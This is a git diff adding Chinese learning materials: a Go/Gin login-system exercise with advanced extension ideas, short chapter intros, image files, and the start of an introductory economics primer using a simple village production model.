+- [HTTP | MDN](https://developer.mozilla.org/zh-CN/docs/Web/HTTP) - HTTP 协议较为权威的参考文档和资料。
+
+> MDN 是一个不断发展的学习网络技术和网络软件的平台。MDN 的使命简单明了：提供一个更好的网络蓝图并赋能新一代开发者和内容创意者在此之上构建网络。
+
+## 🎉 回到正题：小任务
+
+> 一些题外话：是的，任务期已经过去了约十天 (当然优秀的你可能更快~)，但在我看来，小任务其实已经不再那么重要了。如果在以上小节中你曾感到兴奋、热情、探索的欲望，我诚挚地相信，你能在技术的道路上走的很远很远~
+
+用了这么长的时间铺垫了以上的基础知识，脑子肯定胀满了各种各样的东西：if for range slice interface http …… 是时候释放他们了！
+
+这次的小任务我们将设计一个简易的登录系统，它将十分简单，简单到甚至只需要一个 `.go` 文件，但可能也很难，它直接或间接地包含了以上几乎所有内容。
+
+<del>经过了上文详细的“喂饭”小节，下面轮到同学们自己吃饭了~</del>
+
+### 系统概述
+
+- 使用 Gin 框架设计登录系统的接口与整体结构。
+- 至少设计 `Login` `GetUser` `Logout` 三个接口，对 `GetUser` 接口鉴权。
+
+  - Login: 使用账号密码登录
+  - GetUser: 获取个人信息，具体信息有什么？请自由发挥~
+  - Logout: 登出注销
+
+#### Gin
+
+在 HTTP 小节中，“路由“接口” “鉴权” “请求” “响应”你一定或多或少地接触过，Gin 就是一群 Gopher 大神帮你解决了这些问题，它十分轻量但五脏俱全，你只需要调用几个函数就将 cover 那些复杂的问题。
+
+请运用你在第三小节中学习的 `Golang 包(依赖)管理` 正确地安装 Gin 并学习使用它。
+
+**相关资料**：
+
+- [GitHub - gin-gonic/gin: Gin is a HTTP web framework written in Go (Golang)](https://github.com/gin-gonic/gin) - Gin 的官方仓库及权威文档。
+- [Go Gin Example](https://github.com/eddycjy/go-gin-example) - 使用 Gin 的一个小项目，难度较高。
+- [Gin 框架 | NX の 博客](https://www.nickxu.top/categories/Golang/Gin-%E6%A1%86%E6%9E%B6/) - NX 的学习笔记，可供参考
+- ……
+
+#### 鉴权
+
+如果 `GetUser` 接口来者不拒，那么任意信息都可以被外部人员访问到，这将是一个严重的安全漏洞。所以在 `Login` 与 `GetUser` 之间，有着一种隐隐约约的联系：只有登录成功且对应的用户才能读取到他的个人信息。
+
+好啦，总之，鉴权是每个 Web 系统的重要部分，不说太多 😛
+
+#### 无限进步！ (From [影视飓风](https://space.bilibili.com/946974/))
+
+::: danger 🔔
+发挥你的想象，让你的服务变得更加可靠、有趣、优雅~
+:::
+
+- 如果你的所有代码都在一个文件里，请尝试让他变得有模块感~
+- 如果你的账号密码写死 (硬编码) 在程序中，请尝试让它能动态变化~
+- 发现更多有趣的 Golang 第三方库，尝试将它加入你的程序~
+- 如果你能想到任何方式丰富项目功能、优化代码结构，以及想加的内容，请尽情发挥~
+- ……
+
+不卷大家啦，发挥你的想象吧，想法是编写程序的关键。
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.2进阶部分.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.2进阶部分.md
new file mode 100644
index 0000000..4960c64
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.2进阶部分.md
@@ -0,0 +1,45 @@
+# 进阶部分
+
+请先通读后端基础任务文档：
+
+[基础部分](./7.3.1基础部分.md)
+
+你可以清晰地感受到，基础任务并不是一个生产可用的服务，它仅可作为一个 DEMO 用于演示。尝试为它的生产部署之路添砖加瓦！
+
+::: warning 📌
+进阶的任务是开放的：在上述要求的基础上，尽可能地拓展即可，无论是功能、性能、架构、代码整洁等等方面都可
+:::
+
+下面是一些可拓展的点，可尽情发挥（不局限于这些）：
+
+- 第三方库集合 (你可以在其中尝试找到你需要的东西)
+
+<https://github.com/avelino/awesome-go>
+
+<https://github.com/jobbole/awesome-go-cn>
+
+## 扩展接口
+
+新增接口，或者丰富已有接口功能，让程序变得更有趣一些
+
+## 生产部署
+
+把程序运行在本地只能自娱自乐。尝试将程序部署到服务器上，让全世界都能访问你的接口。
+
+## 优化存储
+
+如果将信息全部放在结构体 (内存) 中，程序关闭后就将丢失已经登录的所有信息，请尝试使用“数据库”为你的服务添加永久存储的能力。
+
+## 日志
+
+在程序中恰当地输出日志十分重要，这为用户以及开发者提供了回溯错误的能力。
+
+## 配置文件
+
+每一次修改端口/密码/etc 都需要重新编译程序，使用“配置文件”让程序在启动时能够动态读入想要的内容。
+
+## 代码结构
+
+尝试对代码进行组织、分层。
+
+## ……
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.3后端部分.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.3后端部分.md
new file mode 100644
index 0000000..cfdb7a6
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.3后端部分.md
@@ -0,0 +1,3 @@
+# 后端部分
+
+本章节内容目前主要取自杭助面试小任务，后续会逐步完善。
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门.md
new file mode 100644
index 0000000..a32ff14
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门.md
@@ -0,0 +1,3 @@
+# 7.网络应用开发入门
+
+本章节原本的名字是「WEB 开发入门」，后来发现这个标题涵盖的范围还是小了点。因为网络应用开发不仅仅涉及到前端的网页设计和开发、后端数据库操作等方面，还包括云原生的应用部署和管理等等一系列相关知识。因此，我们拓展了这一章节的内容，以便读者可以全面了解网络应用开发的各个方面。
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118BrYZzg.jpg b/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118BrYZzg.jpg
new file mode 100644
index 0000000..27b3af9
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118BrYZzg.jpg differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118PGkkRz.jpg b/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118PGkkRz.jpg
new file mode 100644
index 0000000..c6b2e28
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118PGkkRz.jpg differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118aoefIO.jpg b/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118aoefIO.jpg
new file mode 100644
index 0000000..b694027
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/20191118aoefIO.jpg differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/235436487dsfhtwuytjyfj.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/235436487dsfhtwuytjyfj.png
new file mode 100644
index 0000000..8b64b00
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/235436487dsfhtwuytjyfj.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/3465ytyjyjy.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/3465ytyjyjy.png
new file mode 100644
index 0000000..7362f0f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/3465ytyjyjy.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/Snipaste_2023-04-22_18-57-44.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/Snipaste_2023-04-22_18-57-44.png
new file mode 100644
index 0000000..25ba6cc
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/Snipaste_2023-04-22_18-57-44.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png
new file mode 100644
index 0000000..737b37f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png
new file mode 100644
index 0000000..9bc071b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnRaBolh8i2FkoIJW69a5g3e.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnRaBolh8i2FkoIJW69a5g3e.png
new file mode 100644
index 0000000..b0631da
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnRaBolh8i2FkoIJW69a5g3e.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png
new file mode 100644
index 0000000..89252e5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png
new file mode 100644
index 0000000..85a13a9
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg
new file mode 100644
index 0000000..420d9b8
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnbigxAK5SbxiWuDHr1Ashne.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnbigxAK5SbxiWuDHr1Ashne.png
new file mode 100644
index 0000000..db6e8b5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnbigxAK5SbxiWuDHr1Ashne.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcncVQswB7ziUoV4LvEs35DAe.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcncVQswB7ziUoV4LvEs35DAe.png
new file mode 100644
index 0000000..b0d48e6
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcncVQswB7ziUoV4LvEs35DAe.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnikdFX5WNml7sgtPMOJQiGh.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnikdFX5WNml7sgtPMOJQiGh.png
new file mode 100644
index 0000000..39022ad
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnikdFX5WNml7sgtPMOJQiGh.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png
new file mode 100644
index 0000000..cd4804f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnrqddPFusKhe0vZuzXJOosg.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnrqddPFusKhe0vZuzXJOosg.png
new file mode 100644
index 0000000..ff3f7c5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/boxcnrqddPFusKhe0vZuzXJOosg.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif b/技术资源汇总(杭电支持版)/7.网络应用开发/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif
new file mode 100644
index 0000000..c01330d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/ertehry.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/ertehry.png
new file mode 100644
index 0000000..c4af622
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/ertehry.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/ertjyunyunm.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/ertjyunyunm.png
new file mode 100644
index 0000000..f90b6cd
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/ertjyunyunm.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/eryyjyuj.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/eryyjyuj.png
new file mode 100644
index 0000000..195efb8
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/eryyjyuj.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/ewttrhjy.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/ewttrhjy.png
new file mode 100644
index 0000000..e5268c2
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/ewttrhjy.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/fdegetyjyrj.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/fdegetyjyrj.png
new file mode 100644
index 0000000..d2fe86f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/fdegetyjyrj.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/fhuieufsiofhei.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/fhuieufsiofhei.png
new file mode 100644
index 0000000..6158248
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/fhuieufsiofhei.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/gfhuewgfuiwe.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/gfhuewgfuiwe.png
new file mode 100644
index 0000000..75f765d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/gfhuewgfuiwe.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/rtjyujyu.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/rtjyujyu.png
new file mode 100644
index 0000000..15cf0f5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/rtjyujyu.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/uni-function-diagram.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/uni-function-diagram.png
new file mode 100644
index 0000000..aa8487a
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/uni-function-diagram.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/static/wettrjryju.png b/技术资源汇总(杭电支持版)/7.网络应用开发/static/wettrjryju.png
new file mode 100644
index 0000000..e4be221
Binary files /dev/null and b/技术资源汇总(杭电支持版)/7.网络应用开发/static/wettrjryju.png differ
diff --git a/技术资源汇总(杭电支持版)/8.基础学科/8.1经济学科普Part1.md b/技术资源汇总(杭电支持版)/8.基础学科/8.1经济学科普Part1.md
new file mode 100644
index 0000000..c4ccad4
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/8.基础学科/8.1经济学科普Part1.md
@@ -0,0 +1,337 @@
+# 经济学科普 Part1
+
+> Author: Yuelun Yu
+
+## 前言
+
+经济学，研究的是人类经济活动的规律。
+
+现实生活的经济现象互相冗杂在一起，作为一个初学者，我们很难很难单独抽出来进行分析。
+
+为了简化问题，方便思考，我们在下文建立一个最简单的生产模型，在一个完全封闭的村庄内，有人能生产小麦，有人能用小麦做出面包，人最终消费的是面包。通过探究这样一个最基本的二元生产关系模型，我们可以得到一些初步的经济学结论。这对于进一步的学习、思考有着举足轻重的作用。
+
+另外，我们虽然基于这个及其建议的模型开始讨论，但模型稍作改动就可以用于考察更复杂的经济问题，例如，我们可以引入铸币部门，发放货币，进而考察铸币税的影响，我们可以引入另一个村庄，只具备生产衣物的能力，由此来考察两个经济体之间的外贸，我们还可以假设小麦加工厂由 N 个小型加工厂组成，考察加工厂之间的关系...上面只是举了一些例子，实际上别的思考方式还有很多。
+
+这篇文档只会介绍简单的经济学概念和模型，希望能够引起一些思考。更深入的内容，如结合实际、结合金融工程的内容，会在之后另有讨论。
+
+## 最简单生产 - 消费模型
+
+### 以物换物和它的缺陷
+
+我们先从构建一个最最简单的基本模型开始。
+
+考虑一个村落有 2 个人，一个人能制造面粉，另一个人能制作面包，因为一些原因（精力不足），他们不能交叉彼此的分工
+
+这样一来，做面粉的如果吃不到面包就会饿死，做面包的拿不到面粉也会饿死，如果这两人不能通过某种机制来调配彼此的资源，这两人都是死路一条
+
+这两人接下来会通过某种方式来调配资源：
+
+最简单的方式是，以物换物
+
+用面粉来换面包
+
+这样两个人都饿不死了
+
+但这样也存在一些局限性，如果有一年严重欠收，面包都吃完了，面粉刚做出来，因为没有面包，交易无法发生，那两个人就又都饿死了
+
+也就是说，上面这种交易方式，虽然本质（以物换物，进行资源的调配是经济的本质），但不够灵活。
+
+那么怎么才能灵活呢？
+
+### 信用、货币的引入
+
+引入一个概念，**信用**。
+
+做面粉和做面包的都彼此信任，相信对面总有一天会兑现承诺，允许赊账
+
+> 需要注意的是，这里引入了灵活，事实上就引入了风险。在后面的讨论中会反复看到，引入灵活就是引入风险，但灵活的诱惑太大，我们不得不接受风险。灵活从根本上带来了与实际生产脱钩的架空“财富”，这种“财富”可以推进生产力的发展，但过度膨胀的预期，形成了泡沫和经济周期。
+
+那么，交易的过程可以这么表示了：
+
+1. 做面包的问做面粉的要了 50 斤面粉
+2. 做面包的做出了 50 个面包，自己消费 25 个
+3. 做面包的给做面粉的 25 个面包
+
+如果我们引入一种叫做“信用”的东西，这个交易过程可以用表画出来
+
+| 行为     | 做面粉的                    | 做面包的                    |
+| -------- | --------------------------- | --------------------------- |
+| 开始     | 初始信用 0                  | 初始信用 1                  |
+| 交易面粉 | 信用 +1（1）                | 信用 -1（0），获得 50 斤面粉 |
+| 交易面包 | 信用 -1（0），获得 25 个面包 | 信用 +1（1）                |
+| 期末信用 | 0                           | 1                           |
+
+稍微看一下就会发现，这个所谓的信用，和现在的**货币**没有任何区别，如果用现在的话说，一个信用就相当于 25 个面包
+
+因此，可以得到一个结论，**货币就是信用**，只是现在我们在使用货币时，信任的不是对面的人，而是国家，**货币事实上就是国家信用**。
+
+> 这个加入第三方解决问题的思想在计算机科学里也非常常见（没有什么问题是加一个中间层不能解决的），在经济学里亦是如此。但额外补充，引入第三方信用的方案看似是分散了风险，但当考虑金融资产之间的关联性时，可能已经分散的风险又会集中，这是系统性风险的最大来源。（比如，国家如果破产了怎么办？）对应到对第三方的信用丧失，最常见的应对策略是买入避险资产，目前唯一的公认避险资产是黄金。（黄金从性质上来说具有天然的信用（不可人工制造，也就是不会突然增加减少，自然保有量即是信用），而且没有货币作用之外的属性（不能吃，不能穿，没有用，不是工业原料），是天然的货币）
+
+至此，我们构建出了一个两个人间的简单闭环市场，当然，这里面有非常多非常理想的假设，例如人们都不会囤积面包，也不会有新的需求，也不会突然死亡
+
+接下来，我们稍微展开一下，来玩一玩上面这个最简单的模型
+
+### 价格对分配结果的影响
+
+上面的情况中，我们始终在讨论一种可以周而复始，永远循环的情况。**财富也不会增长或者减少**。出现这种情况的根本原因是每次期初各方的货币总是等于期末各方的货币。换言之，如果每期中，有一方的货币总是减少一点，那么我们就无法建立一个可以永远循环下去的经济系统了。下面用表来举个例子。
+
+面包价格：4 元/个，其他条件不变
+
+| 行为     | 做面粉的                       | 做面包的         |
+| -------- | ------------------------------ | ---------------- |
+| 开始     | 初始货币 100                   | 初始货币 100     |
+| 交易面粉 | 货币 +50（150）                | 获得 50 斤面粉   |
+| 交易面包 | 货币 -100（50），获得 25 个面包 | 货币 +100（150） |
+| 期末     | 50（25 个面包）                | 150（25 个面包） |
+
+可以看到，由于价格比例的变动，为了维持原先的消费状况，面粉厂不得不增加相应的开支，再 1 轮交易之后，面粉厂就会因为没有货币而无法参与交易。
+
+因此，在不均衡的价格体系中，**假设没有外部货币补充，处于弱势的部门只能通过削减消费来维持经济系统的运转**。而且，不难想到，**即使有外部的货币补充，货币补充通常也难以直接送到弱势方**，这反而会造成弱势方在分配面包时处于更加弱势的地位，不得不消费更少的面包。这可能是今天经常说的“剥削”。
+
+这里还可以深入讨论一下，我们可以讨论一下价格比例的变动进而产生的分配变动。
+
+我们考虑面粉价格与面包价格的比值，令其为 k
+
+在之前我们的例子中，面粉价格与面包价格的比值恒为 0.5
+
+现在我们考虑另 k=0.25，也就是上面的例子了，可以看到面粉厂若要保持货币不变少，只能消费 12.5 个面包，而面包厂可以消费 37.5 个面包。
+
+更一般地，可以说，面粉厂消费的面包比例为 k，而面包厂消费的面包比例为 1-k。
+
+**也就是说，价格的绝对值并不怎么重要，重要的是价格之间的比值，这种价格比值的差异形成了分配的阶级性。**
+
+> 我们可以尝试着换一个角度来思考这个问题，从上述讨论中可以思考怎么样的价格调控是合理的，怎么样的是不合理的，通常来说，一些从直觉上感觉非常公平的定价方式，例如在成本基础上统一加一定量的利润，实际上是最不合理的，会带来非常严重的分配问题。
+
+### 额外的收入
+
+从之前的讨论中不难发现，要想获得储蓄的增长，唯一的方法是减少自己的消费，而且还需要另一方也同意增加自己的消费，两个条件均成立时储蓄才有望增长。
+
+现在我们考虑一些最简单的情况，来考察储蓄对模型的影响，假设面粉厂和面包厂都有一份额外的工作可以带来货币，比如挖金矿。
+
+黄金不可穿、不能吃、极少作为工业原料、不会增加，从性质上就和我们这里讨论的货币完全一致，我们这里就把黄金直接认为是货币。
+
+现在考虑以下情况：
+
+| 行为     | 做面粉的                       | 做面包的         |
+| -------- | ------------------------------ | ---------------- |
+| 开始     | 初始货币 100                   | 初始货币 100     |
+| 交易面粉 | 货币 +50（150）                | 获得 50 斤面粉   |
+| 交易面包 | 货币 -50（100），获得 25 个面包 | 货币 +50（100）  |
+| 挖矿     | 货币 +20                       | 货币 +20         |
+| 期末     | 120（25 个面包）               | 120（25 个面包） |
+
+几轮循环下来，面粉厂和面包厂都会拥有非常多的货币。
+
+但显然，单纯有货币没有用，**如果我们的系统里生产力不会提升，再多的货币也不能购买到超过 50 个面包**。
+
+我们来讨论一下，由于这里大家都有了很多储蓄**，面粉厂和面包厂都会有一种自己可以消费更多面包、或者不用工作也不会饿死的错觉**。
+
+**这种错觉是错误的，而它是如此的真实，一定会有人付诸实践，因此，这种错觉一定会被打破。**
+
+假设现在发生了第一种情况，面粉厂觉得自己有了很多储蓄，愿意多消费更多面包，而面包厂也不甘示弱，觉得自己如果要减少面包消费，卖出的额外的面包需要涨价。
+
+假设面粉厂现在愿意以原价购买 25 个面包，额外还想购买 5 个面包，并与面包厂达成了协议，额外的部分每个付费 4 元，那么面包的价格就来到了 2.333 元，同样的，这种价格上涨也会导致双方认为自己的储蓄缩水，进而又回到工作的状态。
+
+从上述的讨论中可以发现，**货币增加后，面包的价格并不一定立即增长，价格的涨幅通常也与货币的增幅没有直接关系，而是买卖双方针对价格博弈的后果。但可以肯定的是，脉冲式的价格上涨一定会出现**。
+
+### 印钞部门
+
+到目前为止的讨论都仅限于面粉厂与面包厂的交易，这里我们可以引入第三个经济部门，称为铸币部门。铸币部门不做别的事情，只是打造新的货币，并且我们假设铸币行为本身不需要成本。
+
+假设铸币部门每期打造 4 枚货币
+
+| 行为     | 做面粉的                       | 做面包的         | 铸币部门            |
+| -------- | ------------------------------ | ---------------- | ------------------- |
+| 开始     | 初始货币 100                   | 初始货币 100     | 0                   |
+| 铸币     |                                |                  | 铸币 4              |
+| 交易面粉 | 货币 +50（150）                | 获得 50 斤面粉   |                     |
+| 交易面包 | 货币 -48（102），获得 24 个面包 | 货币 +52（102）  | 购买 2 个面包（-4） |
+| 期末     | 102（24 个面包）               | 102（24 个面包） | 0（2 个面包）       |
+
+上述现象的神奇之处在于，**铸币部门不做任何工作就获得了面包分配，而面粉厂与面包厂在不了解经济运行全貌的情况下，总是认为自己是由于节俭而增加了储蓄**。
+
+剩下的问题同情况 2 所讨论的，储蓄的积累会带来脉冲式的价格体系变化。
+
+### 贸易、分工、效用、货币沉积
+
+到此为止，我们讨论的生产消费模型中人们都只是制造面包这一食物，但人的需要远比食物来的多，最基本的还有穿、住、行这三项没有满足。
+
+假设有另一个村庄，他们看到了“穿”这个需求，并决定举全村之力生产衣物，卖给邻村。而食物的生产制造则完全交给邻村，他们不再生产面包。
+
+这样，我们就引入了一个新的角色了，可以称之为“商人”。
+
+“商人”实际不做产出，只是在两个村庄之间倒卖面包和衣物。假设商人每一期倒卖都能赚 40 元吧。同时，我们把做食品的合并为一个大的生产部门，同样把做衣服合并为一个大生产部门。应该发现，生产部门总是可以合并和拆分的。具体过程可以见下表：
+
+| 行为           | 做面包的（甲村）                                     | 做衣服的（乙村）                                     | 商人                 |
+| -------------- | ---------------------------------------------------- | ---------------------------------------------------- | -------------------- |
+| 开始           | 初始货币 100                                         | 初始货币 100                                         | 初始货币 20          |
+| 内部生产与消费 | 结余面包 10                                          | 结余衣物 10                                          |                      |
+| 商人倒卖面包   | 面包厂 +20                                           | -40（+10 面包）                                      | +20（-20、+40）      |
+| 商人倒卖衣物   | 面包厂 -40                                            | +20                                                  | +20（-20、+40）      |
+| 期末           | 80（内部消费 40 个面包，售出 10 个，消费 10 件衣物） | 80（内部消费 40 件衣物，售出 10 件，消费 10 个面包） | 40（假设商人不消费） |
+
+这里其实有很多问题可以讨论：
+
+1. 我们可以再次感叹一下货币的伟大，因为有货币，所以乙村的衣物即使一件都卖不出去，也可以靠储蓄获得一定的面包，不至于被饿死
+2. 商人这个角色，实际上什么都没有产出，为什么他可以凭空获得 40 元的货币分配呢？一个初步的理解是，商人虽然没有产出，但是他通过倒卖行为优化了消费结构，提高了甲村和乙村的效用。
+3. 商人这个角色同时也是非常危险的，因为他仅凭一个人在一期时间内就获得了整个经济体系 20% 的货币，而这很可能是他无论如何消费都消费不完的。这意味着货币会在商人处发生沉积。货币沉积意味着经济系统中货币总量的下降，对于甲村和乙村的个体来说，就像是“经济不景气，收入不好”一样，会造成价格下降、消费下降等问题。货币沉积在金本位的经济制度中尤为严重，这也是以前的经济系统不稳定、政权经常崩盘的原因之一。
+
+### 债务
+
+最后，我们来讨论一下债务。
+
+假设甲村的面粉厂要办喜事，需要多消费面包，但他并没有足够购买面包的储蓄，于是向面包厂借贷。这里的借贷行为，可以是借面包，也可以是借货币。另外，也可以是借面包还货币或者借货币还面包。情况比较复杂，这里简单讨论一下。
+
+假设面粉厂这次想要额外消费 30 个面包，面包厂则愿意为喜事额外生产 5 个面包（总共生产 55 个面包，全部用于面粉厂消费），总共需要 60 元，但总共的储蓄只有 50 元，那么需要问面包厂要 10 元，购买面包厂的面包。
+
+| 行为                 | 面粉厂      | 面包厂      |
+| -------------------- | ----------- | ----------- |
+| 开始                 | 初始货币 50 | 初始货币 50 |
+| 购买面粉             | +50         | -50         |
+| 购买面包（常规消费） | -50(50)     | +50(50)     |
+| 办喜事借贷           | +10(60)     | -10(40)     |
+| 办喜事消费           | -60(0)      | +60(100)    |
+| 期末                 | 0           | 100         |
+
+这样以来，可以看到面粉厂一下子失去了所有储蓄，假设面粉厂被要求在下一期还清债务 10 元。
+
+| 行为                 | 面粉厂     | 面包厂       |
+| -------------------- | ---------- | ------------ |
+| 开始                 | 初始货币 0 | 初始货币 100 |
+| 购买面粉             | +50(50)    | -50(50)      |
+| 购买面包（常规消费） | -40(10)    | +40(90)      |
+| 还清债务             | -10(0)     | +10(100)     |
+| 期末                 | 0          | 100          |
+
+可以看到，这里看起来货币的结余情况一样，但实际上面粉厂减少了面包消费用于偿还债务，也就是说，**通过上述描述货币和消费情况表格的表达方式，我们无法完整描述这一过程**。在接下来，会引入简单的资产负债表，用于刻画这一过程。
+
+可惜的是，从另一角度说，面粉厂接下来若要重新获得储蓄，需要在接下来的 4 期内都只消费 10 个面包，否则面粉厂就无法恢复储蓄。更何况，面包厂未必有意愿自己消费 60 个面包，因此，**在这种古早的经济系统下，超前的借贷实际上会降低经济活力，形成经济不景气的现象**。
+
+从另一个角度来探讨，可以发现面粉厂还债的时候实际上是通过还面包的方式来进行还债的，由此，可以推出另一个结论：当经济系统中一方货币不足时，可以通过降低消费或者提供服务的方式来偿还债务，也就是说经济系统中的债务量可以大于经济系统中的货币数量。关于这部分内容，下文还会有一些讨论。
+
+### 巨大工程与货币本质
+
+甲村发展的越来越好，那么如果甲村想要建设一个价值 1000 元的村庄博物馆，他们应该怎么做呢？
+
+这个问题可能看起来有些唐突了，价值 1000 元是什么意思呢？为什么在这里要加这个定语？
+
+要回答这个问题，我们就需要讨论一下货币的本质是什么了。
+
